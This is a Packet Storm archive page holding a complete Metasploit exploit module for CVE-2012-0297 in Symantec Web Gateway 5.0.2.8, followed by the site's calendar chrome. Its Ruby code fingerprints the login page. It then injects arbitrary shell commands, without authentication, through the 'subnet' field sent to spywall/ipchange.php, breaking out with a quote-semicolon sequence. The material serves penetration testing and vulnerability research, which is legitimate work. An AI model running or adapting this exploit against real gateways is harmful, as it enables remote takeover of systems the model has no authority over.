what you don't know can hurt you

Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection

Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection
Posted Jun 11, 2012
Authored by Tenable Network Security, juan vazquez | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service due to the insecure usage of the exec() function. This Metasploit module abuses the spywall/ipchange.php file to execute arbitrary OS commands without authentication.

tags | exploit, web, arbitrary, php
advisories | CVE-2012-0297
MD5 | 8ce5defd93f1d99d9d00f93ecad020aa

Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Symantec Web
Gateway's HTTP service due to the insecure usage of the exec() function. This module
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
authentication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tenable Network Security', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0297' ],
[ 'BID', '53444' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x26",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Symantec Web Gateway 5.0.2.8', {}],
],
'Privileged' => false,
'DisclosureDate' => "May 17 2012",
'DefaultTarget' => 0))
end


def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/spywall/login.php'
})

if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

post_data = "subnet="
post_data << "\";" + payload.raw + ";#"

print_status("#{peer} - Sending Command injection")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}spywall/ipchange.php",
'data' => post_data
})

# If the server doesn't return the default redirection, probably
# something is wrong
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
print_error("#{peer} - Probably command not executed, aborting!")
return
end

end


end
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close